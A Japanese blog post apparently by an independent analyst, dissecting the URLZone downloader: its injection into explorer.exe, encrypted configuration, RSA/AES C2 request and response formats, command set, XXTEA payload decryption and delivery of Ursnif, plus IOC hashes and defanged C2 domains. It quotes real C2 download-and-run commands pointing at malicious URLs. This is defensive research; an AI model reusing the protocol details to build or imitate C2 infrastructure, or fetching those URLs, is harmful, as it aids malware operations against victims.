Ayumu's I/O

ねだるな勝ち取れ、さすれば与えられん

マルウェアURLZoneの解析

URLZoneの解析結果です。最初にURLZoneについて解説し、その後実際にC2サーバとやり取りした通信内容や取得するバイナリの復号方法について解説します。なお、個人的にURLZoneという呼び方が定着してしまっているため、本稿ではURLZoneに統一します。

はじめに

URLZoneとは

URLZoneは、2009年頃から存在するマルウェアです。別名は、Shiotob、Beblohです。ここ数年、国内ではUrsnifをダウンロードして感染させるマルウェアとして有名です。Ursnifのほか、Malspamの配信基盤となるCutwailをダウンロードして感染させるという報告があります[1]。また、URLZone自身をUpdateするための機能があるものの、現在は使い捨てが主流となっています。

日本を狙うURLZoneの傾向

上記の通り、URLZoneはUrsnifへ感染させることを主な目的として使われています。Malspamを送って最終的にUrsnifに感染させようとする日本向けの攻撃グループは、Ursnifのバージョンや設定情報、狙うオンラインバンキングサイト、Ursnifを感染させるまでの流れが異なることから、2グループ存在すると考えられています。その中でも、URLZoneを使用してUrsnifに感染させようとする攻撃グループは開発が盛んであり、なかなか侮れません。同グループは、2018年10月から攻撃を再開させて以来、UrsnifやPowerShellスクリプトなどを徐々にアップデートしてきました。ステガノの利用や酷い難読化、Invoke-ReflectivePEInjectionの利用、Ursnifの永続化方法の更新などです。そして、2019年2月頃からは、URLZoneがUrsnifをダウンロード可能な時間を短縮したり、調整したりするようになりました。たとえば、2019年2月20日のMalspamでは、ダウンロード可能な時間が短く、メールが配信された約4時間後の時点でURLZoneを実行してもUrsnifの感染まで至りませんでした。これは、私のグローバルIPアドレスが握られているというわけではありません。他の解析者も同様にアクセスできなくなっていました。

上記のダウンロード可能な時間の調整がこれからも続くかは分かりませんが、守る側が感染の全体像を把握しやすくするために、本稿ではURLZoneの解析結果をお伝えします。

解析対象

対象は、DLLファイル形式のURLZoneです。先のMalspamでは、Invoke-ReflectivePEInjectionを使用して、DLLファイルがメモリにロード・実行されてURLZoneが動作を始めます。解析対象は、2月11日から4月3日までのURLZoneです。ファイルのMD5ハッシュは、本稿の終わりのIOCをご覧ください。

f:id:aes256:20190409041255p:plain

解析結果

URLZoneによるプロセス生成

URLZoneは、32bitのexplorer.exeをサスペンド状態の子プロセスとして新たに作成し、そこへシェルコードをインジェクトしてプロセスを動作させます。そして、動作させたexpolerer.exeプロセスのスレッドでは、親プロセスにマッピングされているDLLを自身にロードして、エントリーポイントから開始します。
なお、explorer.exeのプロセス生成に失敗した場合は、32bitのiexplorer.exeのプロセスで上記と同様の処理を行おうとします。それでも失敗した場合は、そのまま終了します。

解析環境の検知

これまでと同様に、アンチVM、アンチデバッガ、アンチサンドボックスの機能は存在しており、検知した場合はプロセスが終了します。これらについては解析記事[2][3]が既にあるため、ここでは割愛します。なお、記事中では触れられていませんが、検知機能によるプロセスの終了を回避するバイパス機能も備わっています。そのため、この機能を使えばいずれの環境でも動的解析を行うことが可能です。このようなバイパス機能は、URLZoneがダウンロードするUrsnif(GroupID:1000、Version3)にも存在します。

ミューテックス

ミューテックスは、"Uz"から始まる文字列となります。"Uz"以降は環境依存です。

f:id:aes256:20190409031048p:plain
ミューテックスの設定例

ハードコードされた設定情報

設定情報はハードコーディングされており、XOR暗号によって暗号化されています。復号すると下図右のようになり、通信先がわかります。この設定情報には、1秒のSleepを繰り返す回数やBOTSHIDと呼ばれるIDが含まれています。1秒のSleepを繰り返す回数は、通常0x4bが設定されています。つまり、180秒の待機となります。ただし、この設定は後述するC2サーバのコマンドで動的に変更可能です。

f:id:aes256:20190330170151p:plain
ハードコードされた設定情報(3/27のもの)

レジストリ

設定情報は、ユーザ固有の情報を格納した後にデータを暗号化して、環境依存のサブキー名でレジストリへ書き込まれます。暗号化には、XOR暗号とAES暗号が使用されます。平文をXOR暗号で暗号化した後に、バイト調整し、AESによる暗号化がなされます。また、後述しますが、C2サーバよりINJECTFILE命令があった場合は、このレジストリは削除されます。

f:id:aes256:20190330170229p:plain
レジストリ登録の例

通信

発生する通信の流れを簡単に示すと次のようになります。

  1. www.google.comへの疎通確認を行う
  2. ハードコードされた通信先への通信を行う
  3. 2の通信でサーバから期待されたレスポンスが得られない場合のみ、DGAに基づいてドメイン名を生成して通信試行を繰り返す
  4. 定常通信を行う

まず、Googleへ疎通確認を行います。通常は2回行われます。ここで疎通に失敗した場合は、以後の通信は発生しません。ただし、失敗した場合は、Sleep処理の後に疎通確認するという動作を繰り返します。Googleへの疎通確認が成功すると、ハードコードされた通信先との通信を試みます。このとき、サーバから期待されたレスポンスが返ってきた場合は、その通信先に固定して定常的に通信を行います。一方、期待されたレスポンスが返ってこない場合は、DGAによるドメイン名生成のループに入り、期待されたレスポンスが返るまで、新しいドメイン名を逐次生成して通信試行を繰り返します。


実際に動作させた例を以下に示します。まずは、ハードコードされたC2通信先と通信が出来たケースです。
f:id:aes256:20190331034403p:plain
次にハードコードされたC2通信先と通信ができず、DGAによるドメイン名生成ループに入ったケースです。なお、URLZoneのドメイン生成のアルゴリズムに関しては、すでに記事[2]がありますので本稿では割愛します。
f:id:aes256:20190331034416p:plain

リクエス

リクエストの例を図に示します。URLZoneによる通信は、基本的にHTTPS通信であり、さらにPOSTメソッドで送られるデータ(ボディ)が暗号化されています。データのフォーマットは、RSA暗号化データ+AES暗号化データです。このうち、RSA暗号化されたデータのみが送られることもあります。通常は、最初にRSA暗号化データのみが送られ、それ以降の定常通信でRSA暗号化データ+AES暗号化データが送られます。

f:id:aes256:20190331082407p:plain
リクエストの例1 (RSA暗号化データのみ)
f:id:aes256:20190331082418p:plain
リクエストの例2 (RSA暗号化データ+AES暗号化データ)
f:id:aes256:20190409035909p:plain:w500
リクエストの例2におけるフォーマット

RSAで暗号化されるデータ
平文および暗号化後のデータの例を下図に示します。公開鍵の長さは1024bitです。暗号化すると128byteとなります。

f:id:aes256:20190331082352p:plain
暗号化前後のデータ
データフォーマットは、次の通りです。

オフセット サイズ 例(ASCII) 意味
0x0-0x3 4byte 省略 後続のデータのサイズ
0x4-0x13 16byte 省略 AES暗号共通鍵(リクエスト用)
0x14-0x23 16byte 省略 AES暗号共通鍵(レスポンス用)
0x24 1byte Q 不明("Q"または"2"となる)
0x25-0x33 15byte 000000000000001 BOTSHID
0x34-0x45 18byte 6EAFC2E4E43FA51226 BOTID(クライアントID)
0x46-0x48 3byte 6.1 Windows OS バージョン
0x49-0x4C 4byte 0210 不明
0x4D-0x50 4byte 省略 タイムスタンプ
0x51-0x67 17byte explorer 6.1.7601.17514 エクスプローラのバージョン
0x67-0x74 13byte 省略 パディング

リクエスト用の共通鍵は、リクエストの後続のデータを暗号化するために利用されます。一方、レスポンス用の共通鍵は、C2サーバ上でレスポンスを暗号化するために使われます。なお、これら2つの共通鍵は、固定ではなく通信毎に変化します。
RSAの公開鍵は、MS PUBLICBLOB形式でURLZoneにハードコードされています。公開鍵は下図の通りです。公開指数は65537で、オフセット0x14から0x93までの1024bitが公開鍵となります。公開鍵は、2019年2月11日~3月6日の5検体と、3月28日~4月3日の2検体で異なりました。頻繁には更新されないものの、更新は行われる模様です。

f:id:aes256:20190331090235p:plain
URLZoneにハードコードされている公開鍵
(左は3/7まで使用された公開鍵。右は3/28から使用されている公開鍵。)


AESで暗号化されるデータ
暗号化アルゴリズムは、AES128bitのECBモードです。AESで暗号化されるデータは4種類あります。

  • クエリストリング形式のデータ
  • LD_ERR_LOAD_
  • LD_ERR_RUN_
  • PROCESS_INFORMATION


クエリストリング形式のデータ
このデータは、定常的にPOSTされます。暗号化前後のデータを図に示します。

f:id:aes256:20190331082913p:plain
暗号化前後のデータ
最初の4byteは、これに続くクエリストリングの長さを示しています。クエリストリングのフォーマットは下記です。

パラメータ 意味
tver 1428112277 ハードコードされたタイムスタンプ
vcmd 0 不明(常に0)
cc 0 不明(常に0)
hh 00000000 不明(常に0)
ipcnf 172.16.0.10+ IPアドレス
sckport 0 SOCKSプロキシポート?(常に0)
props 1 不明
keret 04110411 キーボードレイアウト
email メールアドレス(常に値なし)

LD_ERR_LOAD_
バイナリをダウンロードし、XXTEA暗号を復号した際にうまく復号できなかった場合などにPOSTされます。先頭の4バイトが以降に続くデータの長さを示しています。

f:id:aes256:20190331092408p:plain
LD_ERR_LOAD_の平文データの例

LD_ERR_RUN_
復号したバイナリが何らかの理由により実行できなかった場合にPOSTされます。先頭の4バイトが以降に続くデータの長さを示しています。

f:id:aes256:20190331092451p:plain
LD_ERR_RUN_の平文データの例

PROCESS_INFORMATION
PROCESS_INFORMATIONは、実行中のプロセス名をパイプで結合して送信します。このデータは、上記のロードエラーまたは実行エラーがあった場合に、プロセス起動中に1回だけPOSTされます。先頭の4バイトが以降に続くデータの長さを示しています。

f:id:aes256:20190408073136p:plain
PROCESS INFORMATIONの平文データの例

レスポンス

レスポンスの例を図に示します。リクエスト同様、こちらも暗号化されており、その内容は通信内容だけでは分かりません。

f:id:aes256:20190331192231p:plain
レスポンスの例1 (2/28にキャプチャのもの)
f:id:aes256:20190331192316p:plain
レスポンスの例2 (2/28にキャプチャのもの)
前述の通り、URLZoneの通信先として認識されるためには条件があります。具体的には下記です。ぱっと見て、ステータスコードやContent-Lengthに関する条件を満たしていることがわかります。

  • ステータスコードが302である
  • Content-Lengthが20byteより大きい
  • レスポンス内に含まれるMD5ハッシュが正しい
  • レスポンスのボディがリクエスト時に送ったキーで復号できる
  • 解釈可能な命令である

レスポンスデータを詳しく見ると下図のようになります。レスポンスデータは、「MD5ハッシュ(16byte) + 暗号化データ」のフォーマットです。暗号化データは、リクエストの際に送られた暗号化キーを使用して、AES128bitのECBモードで暗号化されています。このデータを復号すると、「コマンド長(4byte) + コマンド(可変長)」のフォーマットとなります。

f:id:aes256:20190401065900p:plain
レスポンスデータのフォーマット

コマンド
コマンドは、\r\n(0x0d 0x0a)で区切られており、大別すると次の種類があります。

  • ok、Retokなど
  • CMD0
  • INJECTFILE
  • *EXEUPDATE

ok、Retokなど
最初のリクエスト(RSA暗号化データのみのリクエスト)をC2サーバが受けたことを示す応答です。私が観測した範囲では、"ok"や"Retok"などの文字列が上図のコマンド部分にセットされてC2サーバより返却されます。ただし、このとき"ok"や"RetOk"である必要はなく、上記の平文フォーマットに従っており、かつ、URLZoneが正しく認識できるレスポンスであれば何でも問題ありません。このレスポンスがあった場合、URLZoneはSleep処理を行った後に、定常通信に入ります。

f:id:aes256:20190402010231p:plain
最初のリクエストに対するレスポンスの例

CMD0
コマンドがないことを示しています。このコマンドを受けた場合、URLZoneは何も行いません。URLZoneは、Sleep処理を行った後に次のリクエストを投げます。

f:id:aes256:20190409034621p:plain
CMD0の例

INJECTFILE
INJECTFILEは、ファイルをインジェクトするためのコマンドと思われます。このコマンドは単体では使用されず、後述する">LD"などのコマンドと組み合わせて構成されます。">LD"などのコマンドが成功した場合、URLZoneは設定に関するレジストリを削除します。

f:id:aes256:20190409034645p:plain
INJECTFILEの例

*EXEUPDATE
URLZone自身のアップデートを行うためのコマンドと思われます。このコマンドも後述する">LD"などのコマンドと組み合わせて構成されます。当該コマンドの場合は、後述する">LD"などのコマンドが成功した場合に、URLZoneは設定に関するレジストリを削除しません。私の調査では、2019年2月11日から2019年4月3日までの間に、このコマンドは観測できませんでした。


*EXEUPDATEとINJECTFILEの解釈
*EXEUPDATEとINJECTFILEの場合は、URLZoneが下記に示すコマンドを解釈しようとします。これらに該当しないものは、特段処理を行ないません。エラーは発生しないのでそのまま次の処理に移ります。

  • >CC
  • >SD
  • >LD
  • >UD
  • >UI

>CC
CCは、レジストリ内に保存したC2通信先の設定情報を書き換えるコマンドです。このコマンドを受け取った直後からC2通信先が変わります。

>SD
SDは、レジストリ内に保存したSleepの設定情報を書き換えるコマンドです。1秒のSleepを繰り返す回数を変更できます。

>LD
LDは、ダウンロードを行なって実行するコマンドです。このコマンドがあった場合は、最終的にプロセスが終了します。具体的な動作は後述しますが、このコマンドは、Ursnifに感染させるために使用されています。

>UD
コマンドの定義がされているものの、特に処理は行いません。このコマンドがあった場合は、フラグが立つので最終的にプロセスが終了します。

>UI
コマンドの定義がされているものの、特に処理は行いません。このコマンドがあった場合は、フラグが立つので最終的にプロセスが終了します。

どのようにUrsnifに感染するのか

さて、実際にC2サーバと通信を行い、どのようにUrsnif感染に至るかについてです。私は2月以降、C2通信を調査してきましたが、ここでは主に執筆時点で最新の2019年4月3日の内容を解説します。
これまで見てきたように、URLZoneに感染すると、通信先がC2サーバであることを確認した後に定常通信に入ります。その際、URLZoneのC2サーバが">LD"コマンドを返す時間帯と返さない時間帯があります。下表は、4月3日に私の環境で観測されたコマンドを時系列にしたものです。これによれば、18時15分から翌6時14分頃は、URLZoneを実行してもUrsnifをダウンロードおよび実行しないということになります。なお、4月3日と4日でURLが異なりますが、いずれも通信先が同一のUrsnif(ハッシュは異なる)でした。

日時(JST) 受信したコマンド
~ 4/3 18:14 >CV 66
>DI
>LD hxxps://gerdosan[.]com/uploads/docs.rar
INJECTFILE 0
4/3 18:15~ 4/4 6:14 >CV 66
>DI
INJECTFILE 0
4/4 6:14~14:30 >CV 66
>DI
>LD hxxps://gerdosan[.]com/uploads/coin.doc
INJECTFILE 0
4/4 14:30~ (通信不可)

他方、3月27日の観測では、Malspamが配信された直後にはダウンロードできず、配信から約9時間後の深夜3時頃に">LD"コマンドが返るようになりました。このように、">LD"コマンドが返る時間帯と返らない時間帯が存在します。これらコマンドの変化に関しては、現在も調査を継続しています。


>LDの動作例
C2サーバから返ってきた">LD"コマンドの例をhexdump形式で下図に示します。

f:id:aes256:20190407074924p:plain
INJECTFILEの例(4/4にキャプチャのもの)
先頭4byteはコマンド長で、それ以降がコマンドです。この場合の解釈は、次のようになります。

コマンド 解釈
>CV 67 意味なし。何もせず次のコマンドを解釈。
>DI 意味なし。何もせず次のコマンドを解釈。
>LD URL URLからcoin.docをダウンロードして実行。

これにより、URLZoneは命令に含まれるURLからファイルをダウンロードしようとします。そして、レスポンスコードが200であれば、ファイルの中身を読み込みます。この際に取得されたバイナリを下図に示します。先頭の4byteがファイルサイズを示し、0xF2800byteのデータを含むことがわかります。

f:id:aes256:20190407075935p:plain
coin.doc
このファイルは、暗号化されており、下図に示すルーチンで復号されます。ご覧の通り、これはXXTEA暗号です。
f:id:aes256:20190407082008p:plain
XXTEA復号箇所
XXTEA暗号の復号キーは、RSAの公開鍵のオフセット0x64以降の16byteです。
f:id:aes256:20190407083024p:plain
XXTEAの復号鍵
(左は3/7まで使用された鍵。右は3/28から使用されている鍵。)
先ほどの0xF2800byteのバイナリを復号すると、次のようにPEファイルとなります。
f:id:aes256:20190407085801p:plain
coin.docの復号結果
復号の結果、"MZ"から始まることが判明した場合は、そのPEファイルのタイムスタンプを下図の箇所で書き換えます。これにより、実行されるファイルは環境ごとに異なるハッシュとなります。また、使われていませんが、XxXxXxX0という文字列が3つ存在する場合は、この値をランダムな値に書き換えるという機能もあります。
f:id:aes256:20190407084401p:plain
タイムスタンプの書き換え箇所

その後、Tempフォルダ(%TEMP%)内にランダムなファイル名でこのPEファイルを出力します。そして、ShellExecuteW()で出力したPEファイルを実行します。このとき失敗した場合はCreateProcessW()で再度実行を試みます。プロセス生成後、URLZoneは、INJECTFILEコマンドのため、登録したレジストリを削除してプロセスを終了します。
なお、今回は">LD"コマンドが1つのみの場合を紹介しましたが複数指定することも可能で、その場合は複数のマルウェアをダウンロードして実行します。また、Ursnifが実行されると、UrsnifによってTempフォルダ(%TEMP%)内に生成されたファイルは削除されます。

おわりに

囮のC2サーバを立てたり、C2サーバを監視する簡易スクリプトを作成していた結果、思いの外、記事を公開するまでに時間を要してしまいました。これまで2ヶ月の観測で現在使用されているURLZoneは、機能がそれほど多くないことがわかりました。また、攻撃者が最終的に感染させたいのであろうUrsnifに比べ、URLZoneの更新はまったく行われていないこともわかりました。これからも継続的に観測し、何か判明したら情報を発信したいと思います。

筆者について

筆者は、業務でマルウェア解析をやりたいという思いから約3、4年前に勉強を始めたものの、いまだになれてない野良解析者です。マルウェア解析のトレーニングは受けておらず、すべて書籍や解析記事などによる独学です。ですから、解析結果はあまり信用しないで参考程度に留めてください。間違いがある場合はご指摘いただけると幸いです。その他、面白い情報があれば、@AES256bitまで。

IOC

URLZone(2019/02/11)
1805a6d0bd025f52f3dd483edb9660c0
URLZone(2019/02/18)
ddc16b26c2cd6f8d157bed810bf944f4
URLZone(2019/02/20)
e3720b8e3073dbb1ca667b9d067d3981
URLZone(2019/02/26)
dfdbcc018bf4bd78b7da5d1648d5bcbe
URLZone(2019/03/06)
2e77a29571303efafbfc1e96b0f2f935
URLZone(2019/03/27)
3a8b23c78c4bec7bb7d9bc9578dab74a
URLZone(2019/04/03)
824e105b0b8504bb1fae8cacbaaf143f

XXTEA復号後のUrsnif (2019/02/11)
321de751341266b8faa26a9bea18db2f
XXTEA復号後のUrsnif (2019/02/18)
6003251be36283e5ed0dbf71323473f6
XXTEA復号後のUrsnif (2019/03/07)
0d5b5e78ee6c1354b4a2e4bb8b62abc8
XXTEA復号後のUrsnif (2019/03/28)
488d8ba6bfe6ae3d90bc7204f036f582
XXTEA復号後のUrsnif (2019/04/03 18:00頃)
7d97b7da95039ca0c88670ae54fd6019
XXTEA復号後のUrsnif (2019/04/04 06:00頃)
ba143424de23b22e37f82f61d7eb6a33

URLZoneの通信先
mimertonus[.]com
panisdar[.]com
conesdarz[.]com
olkerona[.]com
benistora[.]com
baderson[.]com
gerdosan[.]com